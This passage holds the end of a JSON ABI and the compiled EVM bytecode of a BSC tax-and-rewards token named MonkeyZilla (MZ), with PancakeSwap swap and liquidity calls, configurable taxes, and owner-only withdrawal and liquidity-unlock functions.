ype":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTaxes","outputs":[{"internalType":"uint256","name":"burnTax","type":"uint256"},{"internalType":"uint256","name":"buybackTax","type":"uint256"},{"internalType":"uint256","name":"devTax","type":"uint256"},{"internalType":"uint256","name":"marketingTax","type":"uint256"},{"internalType":"uint256","name":"liquidityTax","type":"uint256"},{"internalType":"uint256","name":"rewardsTax","type":"uint256"},{"internalType":"uint256","name":"buyTax","type":"uint256"},{"internalType":"uint256","name":"sellTax","type":"uint256"},{"internalType":"uint256","name":"transferTax","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTotalShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"isExcludedFromStaking","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launchTimestamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalLPBNB","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalPayouts","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalRewards","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126012600a62000943565b6200002290633b9aca0062000a02565b600855601080546001600160a01b031990811661dead1790915560118054821673e9e7cea3dedca5984780bafc599bd69add087d561790556012805490911673bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c1781556200008690600a62000943565b6200009690633b9aca0062000a02565b6018556020805461ffff19166032179055348015620000b457600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350601480546001600160a01b0319167310ed43c718714eb63d5aa57b78b54704e256024e9081179091556040805163c45a015560e01b8152905163c45a015591600480820192602092909190829003018186803b1580156200015657600080fd5b505afa1580156200016b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200019191906200088e565b6001600160a01b031663c9c6539630601460009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015620001ef57600080fd5b505afa15801562000204573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200022a91906200088e565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156200027357600080fd5b505af115801562000288573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002ae91906200088e565b601380546001600160a01b0319166001600160a01b0392909216919091179055604051620002dc9062000880565b604051809103906000f080158015620002f9573d6000803e3d6000fd5b50600180546001600160a01b0319166001600160a01b039290921691909117905562000343336200032d6012600a62000943565b6200033d90633b9aca0062000a02565b62000539565b3360007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620003756012600a62000943565b6200038590633b9aca0062000a02565b60405190815260200160405180910390a3600e8054336001600160a01b03199182168117909255600f805490911690911790556032620003c86012600a62000943565b620003d890633b9aca0062000a02565b620003e49190620008d9565b600d556032620003f76012600a62000943565b6200040790633b9aca0062000a02565b620004139190620008d9565b600c55600b80546f64320a0a00006400000000003c32000a6001600160881b031990911617905562000453600433620006a2602090811b6200317a17901c565b50600e546200047a906004906001600160a01b0316620006a2602090811b6200317a17901c565b50600f54620004a1906004906001600160a01b0316620006a2602090811b6200317a17901c565b50620004bd306006620006a260201b6200317a1790919060201c565b50601054620004e4906006906001600160a01b0316620006a2602090811b6200317a17901c565b506014546200050b906006906001600160a01b0316620006a2602090811b6200317a17901c565b5060135462000532906006906001600160a01b0316620006a2602090811b6200317a17901c565b5062000a54565b6001600160a01b0382166000908152600260205260408120546200055f908390620008be565b90506200056c83620006c2565b1562000592576001600160a01b0390921660009081526002602052604090209190915550565b8160186000828254620005a69190620008be565b9091555060009050620005bb846001620006df565b90506000620005cb8582620006df565b6001600160a01b0386166000908152600260205260409020849055601954909150620005f990849062000a02565b6001600160a01b03861660009081526021602090815260408083209390935560229052908120805484929062000631908490620008be565b9091555050601a546200064690849062000a02565b6001600160a01b0386166000908152602360209081526040808320939093556024905290812080548392906200067e908490620008be565b9091555050506001600160a01b039093166000908152600260205260409020555050565b6000620006b9836001600160a01b0384166200080b565b90505b92915050565b6000620006bc8260066200085d60201b6200318f1790919060201c565b6000811562000784576001600160a01b03831660009081526002602052604081205460195462000710919062000a02565b6001600160a01b0385166000908152602160205260409020549091508110156200073f576000915050620006bc565b6001600160a01b03841660009081526021602052604090205468010000000000000000906200076f908362000a24565b6200077b9190620008d9565b915050620006bc565b6001600160a01b038316600090815260026020526040812054601a54620007ac919062000a02565b6001600160a01b038516600090815260236020526040902054909150811015620007db576000915050620006bc565b6001600160a01b03841660009081526023602052604090205468010000000000000000906200076f908362000a24565b60008181526001830160205260408120546200085457508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155620006bc565b506000620006bc565b6001600160a01b03811660009081526001830160205260408120541515620006b9565b61016e806200637983390190565b600060208284031215620008a0578081fd5b81516001600160a01b0381168114620008b7578182fd5b9392505050565b60008219821115620008d457620008d462000a3e565b500190565b600082620008f557634e487b7160e01b81526012600452602481fd5b500490565b600181815b808511156200093b5781600019048211156200091f576200091f62000a3e565b808516156200092d57918102915b93841c9390800290620008ff565b509250929050565b6000620006b960ff8416836000826200095f57506001620006bc565b816200096e57506000620006bc565b81600181146200098757600281146200099257620009b2565b6001915050620006bc565b60ff841115620009a657620009a662000a3e565b50506001821b620006bc565b5060208310610133831016604e8410600b8410161715620009d7575081810a620006bc565b620009e38383620008fa565b8060001904821115620009fa57620009fa62000a3e565b029392505050565b600081600019048311821515161562000a1f5762000a1f62000a3e565b500290565b60008282101562000a395762000a3962000a3e565b500390565b634e487b7160e01b600052601160045260246000fd5b6159158062000a646000396000f3fe6080604052600436106103df5760003560e01c806370e379df1161020a578063b352172f11610119578063d4229e89116100b2578063dd62ed3e11610084578063ecc723bf1161006c578063ecc723bf14610c0b578063f2fde38b14610c20578063ff4f661e14610c4057005b8063dd62ed3e14610bb0578063eb8e886314610bf657005b8063d4229e8914610b50578063d5002f2e14610b65578063d6b6397814610b7a578063d8f946bf14610b9a57005b8063c596e4e1116100eb578063c596e4e114610adb578063cabcc71814610af0578063cd3acd3c14610b10578063ce4de19214610b3057005b8063b352172f14610a5b578063ba38487914610a7b578063bd1c499414610a9b578063c2bcf5ea14610abb57005b80638d060d77116101a35780639fbddfed11610175578063a253c06e1161015d578063a253c06e14610a05578063a457c2d714610a1b578063a9059cbb14610a3b57005b80639fbddfed146109c5578063a1c47e70146109e557005b80638d060d77146109495780638da5cb5b1461091657806394e268111461095f57806395d89b411461097f57005b80637e94313b116101dc5780637e94313b146108e157806387c6178914610901578063893d20e8146109165780638c85bd6f1461093457005b806370e379df146108775780637115d00e14610897578063715018a6146108ac5780637335307b146108c157005b80632973ef2d116103065780634a4a9a681161029f5780634f91e48c116102715780636e548f9f116102595780636e548f9f146107f75780636f89e4091461081757806370a082311461084157005b80634f91e48c146107cb57806365cf7c9b146107e157005b80634a4a9a68146107555780634ada218b1461076b5780634d3e3e821461078b5780634d6f30e8146107ab57005b80633b456f2f116102d85780633b456f2f146106f45780633eaaf86b1461070a5780634089b1701461071f57806349a760421461073557005b80632973ef2d146106395780632cd3fd7014610692578063313ce567146106b257806339509351146106d457005b80631d5165cf1161037857806322d57ea31161034a57806322d57ea3146105b657806323b872dd146105e45780632598cdb21461060457806328771ca21461062457005b80631d5165cf1461051e5780631f58e96f1461053e57806321e622aa1461055e578063224f7e5a1461059657005b80630e15561a116103b15780630e15561a146104b057806310f3e676146104d457806316008eb0146104e957806318160ddd1461050957005b806303c1f2f1146103e857806306fdde0314610408578063095ea7b3146104605780630a79f2a41461049057005b366103e657005b005b3480156103f457600080fd5b506103e66104033660046154aa565b610c56565b34801561041457600080fd5b5060408051808201909152600b81527f4d6f6e6b65795a696c6c6100000000000000000000000000000000000000000060208201525b60405161045791906155c9565b60405180910390f35b34801561046c57600080fd5b5061048061047b366004615352565b61103c565b6040519015158152602001610457565b34801561049c57600080fd5b506103e66104ab3660046153fa565b611053565b3480156104bc57600080fd5b506104c6601b5481565b604051908152602001610457565b3480156104e057600080fd5b506103e66112f7565b3480156104f557600080fd5b506103e66105043660046152a2565b6113c3565b34801561051557600080fd5b506008546104c6565b34801561052a57600080fd5b506103e66105393660046152a2565b61148b565b34801561054a57600080fd5b506103e66105593660046153fa565b61154e565b34801561056a57600080fd5b5060125461057e906001600160a01b031681565b6040516001600160a01b039091168152602001610457565b3480156105a257600080fd5b506103e66105b13660046152a2565b6115cc565b3480156105c257600080fd5b506020546105d19061ffff1681565b60405161ffff9091168152602001610457565b3480156105f057600080fd5b506104806105ff366004615312565b611630565b34801561061057600080fd5b50600e5461057e906001600160a01b031681565b34801561063057600080fd5b506104c66116d0565b34801561064557600080fd5b5061064e6116f5565b60408051998a5260208a0198909852968801959095526060870193909352608086019190915260a085015260c084015260e083015261010082015261012001610457565b34801561069e57600080fd5b506103e66106ad3660046153fa565b6117da565b3480156106be57600080fd5b5060125b60405160ff9091168152602001610457565b3480156106e057600080fd5b506104806106ef366004615352565b6118fc565b34801561070057600080fd5b506104c6601f5481565b34801561071657600080fd5b506104c6611933565b34801561072b57600080fd5b506104c6601c5481565b34801561074157600080fd5b506103e66107503660046152a2565b611950565b34801561076157600080fd5b506104c6600c5481565b34801561077757600080fd5b506026546104809062010000900460ff1681565b34801561079757600080fd5b506103e66107a63660046152a2565b6119b0565b3480156107b757600080fd5b506103e66107c63660046153fa565b611b3d565b3480156107d757600080fd5b506104c6600d5481565b3480156107ed57600080fd5b506104c6600a5481565b34801561080357600080fd5b506103e6610812366004615478565b611cd9565b34801561082357600080fd5b5061082c611e38565b60408051928352602083019190915201610457565b34801561084d57600080fd5b506104c661085c3660046152a2565b6001600160a01b031660009081526002602052604090205490565b34801561088357600080fd5b506103e66108923660046153cf565b611e61565b3480156108a357600080fd5b506103e6611ec0565b3480156108b857600080fd5b506103e66120d8565b3480156108cd57600080fd5b506104806108dc3660046152a2565b6121a3565b3480156108ed57600080fd5b506103e66108fc3660046152a2565b6121b0565b34801561090d57600080fd5b506103e6612326565b34801561092257600080fd5b506000546001600160a01b031661057e565b34801561094057600080fd5b506103e6612430565b34801561095557600080fd5b506104c660255481565b34801561096b57600080fd5b506104c661097a3660046152a2565b612738565b34801561098b57600080fd5b5060408051808201909152600281527f4d5a000000000000000000000000000000000000000000000000000000000000602082015261044a565b3480156109d157600080fd5b506103e66109e036600461537d565b61274d565b3480156109f157600080fd5b506104c6610a003660046152a2565b6127d9565b348015610a1157600080fd5b506104c660085481565b348015610a2757600080fd5b50610480610a36366004615352565b6127e7565b348015610a4757600080fd5b50610480610a56366004615352565b612874565b348015610a6757600080fd5b506103e6610a763660046153b5565b612881565b348015610a8757600080fd5b5060115461057e906001600160a01b031681565b348015610aa757600080fd5b506103e6610ab63660046152a2565b6129da565b348015610ac757600080fd5b506103e6610ad636600461542a565b612a69565b348015610ae757600080fd5b506103e6612c0b565b348015610afc57600080fd5b5060105461057e906001600160a01b031681565b348015610b1c57600080fd5b506103e6610b2b3660046153fa565b612d1f565b348015610b3c57600080fd5b506103e6610b4b3660046153fa565b612db4565b348015610b5c57600080fd5b506103e6612e49565b348015610b7157600080fd5b506104c6612e62565b348015610b8657600080fd5b506103e6610b953660046152a2565b612e8b565b348015610ba657600080fd5b506104c6601e5481565b348015610bbc57600080fd5b506104c6610bcb3660046152da565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b348015610c0257600080fd5b506106c2601481565b348015610c1757600080fd5b506103e6612fa7565b348015610c2c57600080fd5b506103e6610c3b3660046152a2565b613022565b348015610c4c57600080fd5b506104c6601d5481565b610c5f336131b1565b610cb05760405162461bcd60e51b815260206004820152601560248201527f43616c6c6572206e6f7420617574686f72697a6564000000000000000000000060448201526064015b60405180910390fd5b600087898b89610cc0898b61568e565b610cca919061568e565b610cd4919061568e565b610cde919061568e565b610ce8919061568e565b90508060ff16606414610d635760405162461bcd60e51b815260206004820152602960248201527f6d61726b6574696e672b6c69712b7374616b696e67206e6565647320746f206560448201527f7175616c203130302500000000000000000000000000000000000000000000006064820152608401610ca7565b601460ff851611801590610d7b5750601460ff841611155b610dc75760405162461bcd60e51b815260206004820152601960248201527f746178657320686967686572207468616e206d617820746178000000000000006044820152606401610ca7565b60328260ff161115610e415760405162461bcd60e51b815260206004820152602760248201527f7472616e7366657254617820686967686572207468616e206d6178207472616e60448201527f73666572546178000000000000000000000000000000000000000000000000006064820152608401610ca7565b50600b80547fffffffffffffffffffffffffffffffffffffffff00ffffff00ffffffffffffff1667010000000000000060ff9b8c16027fffffffffffffffffffffffffffffffffffffffff00ffffffffffffffffffffff16176b010000000000000000000000998b1699909902989098177fffffffffffffffffffffffffffffffffffffffffffffff00ff00ffffffffffff166601000000000000978a16979097027fffffffffffffffffffffffffffffffffffffffffffffff00ffffffffffffffff16969096176801000000000000000095891695909502949094177fffffffffffffffffffffffffffffffffffffffffff0000ffffffffffffffffff166901000000000000000000938816939093027fffffffffffffffffffffffffffffffffffffffffff00ffffffffffffffffffff16929092176a010000000000000000000091871691909102177fffffffffffffffffffffffffffffffffffff0000ffffffffffffffffffffffff166c01000000000000000000000000918616919091027fffffffffffffffffffffffffffffffffffff00ffffffffffffffffffffffffff16176d010000000000000000000000000091851691909102177fffffffffffffffffffffffffffffffffff00ffffffffffffffffffffffffffff166e0100000000000000000000000000009190931602919091179055565b60006110493384846131f6565b5060015b92915050565b61105c336131b1565b6110a85760405162461bcd60e51b815260206004820152601560248201527f43616c6c6572206e6f7420617574686f72697a656400000000000000000000006044820152606401610ca7565b601f548111156110fa5760405162461bcd60e51b815260206004820152601e60248201527f416d6f756e742065786365656473204275794261636b42616c616e63652100006044820152606401610ca7565b80601f600082825461110c9190615853565b90915550506040805160028082526060820183526000926020830190803683375050601454604080517fad5c464800000000000000000000000000000000000000000000000000000000815290519394506001600160a01b039091169263ad5c464892506004808301926020929190829003018186803b15801561118f57600080fd5b505afa1580156111a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111c791906152be565b81600081518110611201577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101906001600160a01b031690816001600160a01b031681525050308160018151811061125c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526014546010546040517fb6f9de950000000000000000000000000000000000000000000000000000000081529183169263b6f9de959286926112c1926000928892909116904290600401615594565b6000604051808303818588803b1580156112da57600080fd5b505af11580156112ee573d6000803e3d6000fd5b50505050505050565b601460009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561134557600080fd5b505afa158015611359573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061137d91906152be565b6012546001600160a01b03908116911614156113aa576113a833336113a33360006132fb565b6133b7565b565b6012546113a89033906001600160a01b0316600061355d565b336113d66000546001600160a01b031690565b6001600160a01b03161461142c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610ca7565b600f546001600160a01b031661144360048261398f565b50600f80547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0384169081179091556114869060049061317a565b505050565b3361149e6000546001600160a01b031690565b6001600160a01b0316146114f45760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610ca7565b600e546001600160a01b031661150b60048261398f565b50600e80547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0384169081179091556114869060049061317a565b336115616000546001600160a01b031690565b6001600160a01b0316146115b75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610ca7565b6115c96115c44283615676565b6139a4565b50565b6115d5336131b1565b6116215760405162461bcd60e51b815260206004820152601560248201527f43616c6c6572206e6f7420617574686f72697a656400000000000000000000006044820152606401610ca7565b61162c60048261398f565b5050565b600061163d8484846139b7565b6001600160a01b0384166000908152600360209081526040808320338452909152902054828110156116b15760405162461bcd60e51b815260206004820152601460248201527f5472616e73666572203e20616c6c6f77616e63650000000000000000000000006044820152606401610ca7565b6116c585336116c08685615853565b6131f6565b506001949350505050565b60006015544210156116ef57426015546116ea9190615853565b905090565b50600090565b6000806000806000806000806000600960009054906101000a900460ff161561172a57611720613c11565b60ff169250611743565b600b546c01000000000000000000000000900460ff1692505b5050600b5460ff67010000000000000082048116996b01000000000000000000000083048216995066010000000000008304821698506801000000000000000083048216975069010000000000000000008304821696506a01000000000000000000008304821695509293506d010000000000000000000000000082048116926e0100000000000000000000000000009092041690565b60006117e86012600a61574d565b6117f29083615816565b336000908152600260205260409020549091508181101561187b5760405162461bcd60e51b815260206004820152602160248201527f4275726e20616d6f756e7420657863656564207573657227732062616c616e6360448201527f65000000000000000000000000000000000000000000000000000000000000006064820152608401610ca7565b6118853383613c98565b60105461189b906001600160a01b031683613dd7565b81600860008282546118ad9190615853565b90915550506010546040518381526001600160a01b039091169033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020015b60405180910390a3505050565b3360008181526003602090815260408083206001600160a01b038716845290915281205490916110499185906116c0908690615676565b61193f6012600a61574d565b61194d90633b9aca00615816565b81565b611959336131b1565b6119a55760405162461bcd60e51b815260206004820152601560248201527f43616c6c6572206e6f7420617574686f72697a656400000000000000000000006044820152606401610ca7565b61162c60048261317a565b6119b9336131b1565b611a055760405162461bcd60e51b815260206004820152601560248201527f43616c6c6572206e6f7420617574686f72697a656400000000000000000000006044820152606401610ca7565b611a0e816121a3565b15611a1857600080fd5b6001600160a01b0381166000908152600260205260408120546018805491929091611a44908490615853565b9091555060009050611a57826001613f2e565b90506000611a66836000613f2e565b6019546001600160a01b038516600090815260026020526040902054919250611a8e91615816565b6001600160a01b038416600090815260216020908152604080832093909355601a54600290915291902054611ac39190615816565b6001600160a01b038416600090815260236020908152604080832093909355602290529081208054849290611af9908490615676565b90915550506001600160a01b03831660009081526024602052604081208054839290611b26908490615676565b90915550611b37905060068461317a565b50505050565b611b46336131b1565b611b925760405162461bcd60e51b815260206004820152601560248201527f43616c6c6572206e6f7420617574686f72697a656400000000000000000000006044820152606401610ca7565b601354604080517f18160ddd00000000000000000000000000000000000000000000000000000000815290516000926001600160a01b0316916318160ddd916004808301926020929190829003018186803b158015611bf057600080fd5b505afa158015611c04573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c289190615412565b11611c755760405162461bcd60e51b815260206004820152600f60248201527f746865726520617265206e6f204c5000000000000000000000000000000000006044820152606401610ca7565b60265462010000900460ff1615611c8b57600080fd5b602680547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ffff16620100001790556009805460ff1916600117905542600a8190556115c9906115c49083615676565b611ce2336131b1565b611d2e5760405162461bcd60e51b815260206004820152601560248201527f43616c6c6572206e6f7420617574686f72697a656400000000000000000000006044820152606401610ca7565b6000611d3a828461568e565b90508060ff16606414611db55760405162461bcd60e51b815260206004820152602760248201527f4d61696e53706c69742b4d69736353706c6974206e6565647320746f2065717560448201527f616c2031303025000000000000000000000000000000000000000000000000006064820152608401610ca7565b50600b80547fffffffffffffffffffffffffffffff0000ffffffffffffffffffffffffffffff166f0100000000000000000000000000000060ff948516027fffffffffffffffffffffffffffffff00ffffffffffffffffffffffffffffffff16177001000000000000000000000000000000009290931691909102919091179055565b600080600a600c54611e4a91906156b3565b600a600d54611e5991906156b3565b915091509091565b611e6a336131b1565b611eb65760405162461bcd60e51b815260206004820152601560248201527f43616c6c6572206e6f7420617574686f72697a656400000000000000000000006044820152606401610ca7565b61162c828261404a565b33611ed36000546001600160a01b031690565b6001600160a01b031614611f295760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610ca7565b601554421015611f7b5760405162461bcd60e51b815260206004820152601060248201527f4e6f742079657420756e6c6f636b6564000000000000000000000000000000006044820152606401610ca7565b602680547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ffff1690556013546040517f70a082310000000000000000000000000000000000000000000000000000000081523060048201526001600160a01b039091169060009082906370a082319060240160206040518083038186803b15801561200457600080fd5b505afa158015612018573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061203c9190615412565b6040517fa9059cbb000000000000000000000000000000000000000000000000000000008152336004820152602481018290529091506001600160a01b0383169063a9059cbb90604401602060405180830381600087803b1580156120a057600080fd5b505af11580156120b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114869190615399565b336120eb6000546001600160a01b031690565b6001600160a01b0316146121415760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610ca7565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b600061104d60068361318f565b6121b9336131b1565b6122055760405162461bcd60e51b815260206004820152601560248201527f43616c6c6572206e6f7420617574686f72697a656400000000000000000000006044820152606401610ca7565b601460009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561225357600080fd5b505afa158015612267573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061228b91906152be565b6001600160a01b0316816001600160a01b031614156122ec5760405162461bcd60e51b815260206004820152601760248201527f6e65775265776172642063616e6e6f7420626520424e420000000000000000006044820152606401610ca7565b601180547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0392909216919091179055565b61232f336131b1565b61237b5760405162461bcd60e51b815260206004820152601560248201527f43616c6c6572206e6f7420617574686f72697a656400000000000000000000006044820152606401610ca7565b601e8054600091829055600f546040519192916001600160a01b039091169083905b60006040518083038185875af1925050503d80600081146123da576040519150601f19603f3d011682016040523d82523d6000602084013e6123df565b606091505b505090508061162c5760405162461bcd60e51b815260206004820152600f60248201527f7769746864726177206661696c656400000000000000000000000000000000006044820152606401610ca7565b336124436000546001600160a01b031690565b6001600160a01b0316146124995760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610ca7565b6015544210156124eb5760405162461bcd60e51b815260206004820152601060248201527f4e6f742079657420756e6c6f636b6564000000000000000000000000000000006044820152606401610ca7565b426015556013546040517f70a082310000000000000000000000000000000000000000000000000000000081523060048201526001600160a01b039091169060009082906370a082319060240160206040518083038186803b15801561255057600080fd5b505afa158015612564573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125889190615412565b6014546040517f095ea7b30000000000000000000000000000000000000000000000000000000081526001600160a01b0391821660048201526024810183905291925083169063095ea7b390604401602060405180830381600087803b1580156125f157600080fd5b505af1158015612605573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126299190615399565b506014546040517faf2979eb000000000000000000000000000000000000000000000000000000008152306004820181905260248201849052600060448301819052606483015260848201524260a48201526001600160a01b039091169063af2979eb9060c401602060405180830381600087803b1580156126aa57600080fd5b505af11580156126be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126e29190615412565b50604051600090339047908381818185875af1925050503d8060008114612725576040519150601f19603f3d011682016040523d82523d6000602084013e61272a565b606091505b505090508061148657600080fd5b6000806127468360006132fb565b9392505050565b612756336131b1565b6127a25760405162461bcd60e51b815260206004820152601560248201527f43616c6c6572206e6f7420617574686f72697a656400000000000000000000006044820152606401610ca7565b60268054911515610100027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff909216919091179055565b6000806127468360016132fb565b3360009081526003602090815260408083206001600160a01b03861684529091528120548281101561285b5760405162461bcd60e51b815260206004820152600c60248201527f3c3020616c6c6f77616e636500000000000000000000000000000000000000006044820152606401610ca7565b61286a33856116c08685615853565b5060019392505050565b60006110493384846139b7565b61288a336131b1565b6128d65760405162461bcd60e51b815260206004820152601560248201527f43616c6c6572206e6f7420617574686f72697a656400000000000000000000006044820152606401610ca7565b60008161ffff16116129505760405162461bcd60e51b815260206004820152602160248201527f5468726573686f6c64206e6565647320746f206265206d6f7265207468616e2060448201527f30000000000000000000000000000000000000000000000000000000000000006064820152608401610ca7565b60328161ffff1611156129a55760405162461bcd60e51b815260206004820152601e60248201527f5468726573686f6c64206e6565647320746f2062652062656c6f7720353000006044820152606401610ca7565b602080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00001661ffff92909216919091179055565b6129e3336131b1565b612a2f5760405162461bcd60e51b815260206004820152601560248201527f43616c6c6572206e6f7420617574686f72697a656400000000000000000000006044820152606401610ca7565b601280547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0392909216919091179055565b612a72336131b1565b612abe5760405162461bcd60e51b815260206004820152601560248201527f43616c6c6572206e6f7420617574686f72697a656400000000000000000000006044820152606401610ca7565b60006032612ace6012600a61574d565b612adc90633b9aca00615816565b612ae691906156b3565b905060006032612af86012600a61574d565b612b0690633b9aca00615816565b612b1091906156b3565b905081841015612b885760405162461bcd60e51b815260206004820152602860248201527f6e65774d617857616c6c6574206e6565647320746f206265206174206c65617360448201527f74207461726765740000000000000000000000000000000000000000000000006064820152608401610ca7565b80831015612bfe5760405162461bcd60e51b815260206004820152602860248201527f6e657753656c6c4c696d6974206e6565647320746f206265206174206c65617360448201527f74207461726765740000000000000000000000000000000000000000000000006064820152608401610ca7565b5050600c91909155600d55565b33612c1e6000546001600160a01b031690565b6001600160a01b031614612c745760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610ca7565b601554421015612cc65760405162461bcd60e51b815260206004820152601060248201527f4e6f742079657420756e6c6f636b6564000000000000000000000000000000006044820152606401610ca7565b42601555604051600090339047908381818185875af1925050503d8060008114612d0c576040519150601f19603f3d011682016040523d82523d6000602084013e612d11565b606091505b50509050806115c957600080fd5b612d28336131b1565b612d745760405162461bcd60e51b815260206004820152601560248201527f43616c6c6572206e6f7420617574686f72697a656400000000000000000000006044820152606401610ca7565b601e54811115612d8357600080fd5b80601e6000828254612d959190615853565b9091555050600f546040516000916001600160a01b031690839061239d565b612dbd336131b1565b612e095760405162461bcd60e51b815260206004820152601560248201527f43616c6c6572206e6f7420617574686f72697a656400000000000000000000006044820152606401610ca7565b601d54811115612e1857600080fd5b80601d6000828254612e2a9190615853565b9091555050600e546040516000916001600160a01b031690839061239d565b6011546113a89033906001600160a01b0316600061355d565b6000612e706012600a61574d565b612e7e90633b9aca00615816565b6018546116ea9190615853565b612e94336131b1565b612ee05760405162461bcd60e51b815260206004820152601560248201527f43616c6c6572206e6f7420617574686f72697a656400000000000000000000006044820152606401610ca7565b612ee9816121a3565b612ef257600080fd5b6001600160a01b0381166000908152600260205260408120546018805491929091612f1e908490615676565b90915550612f2f905060068261398f565b506019546001600160a01b038216600090815260026020526040902054612f569190615816565b6001600160a01b038216600090815260216020908152604080832093909355601a54600290915291902054612f8b9190615816565b6001600160a01b03909116600090815260236020526040902055565b612fb0336131b1565b612ffc5760405162461bcd60e51b815260206004820152601560248201527f43616c6c6572206e6f7420617574686f72697a656400000000000000000000006044820152606401610ca7565b601d8054600091829055600e546040519192916001600160a01b0390911690839061239d565b336130356000546001600160a01b031690565b6001600160a01b03161461308b5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610ca7565b6001600160a01b0381166131075760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f64647265737300000000000000000000000000000000000000000000000000006064820152608401610ca7565b600080546040516001600160a01b03808516939216917f8be0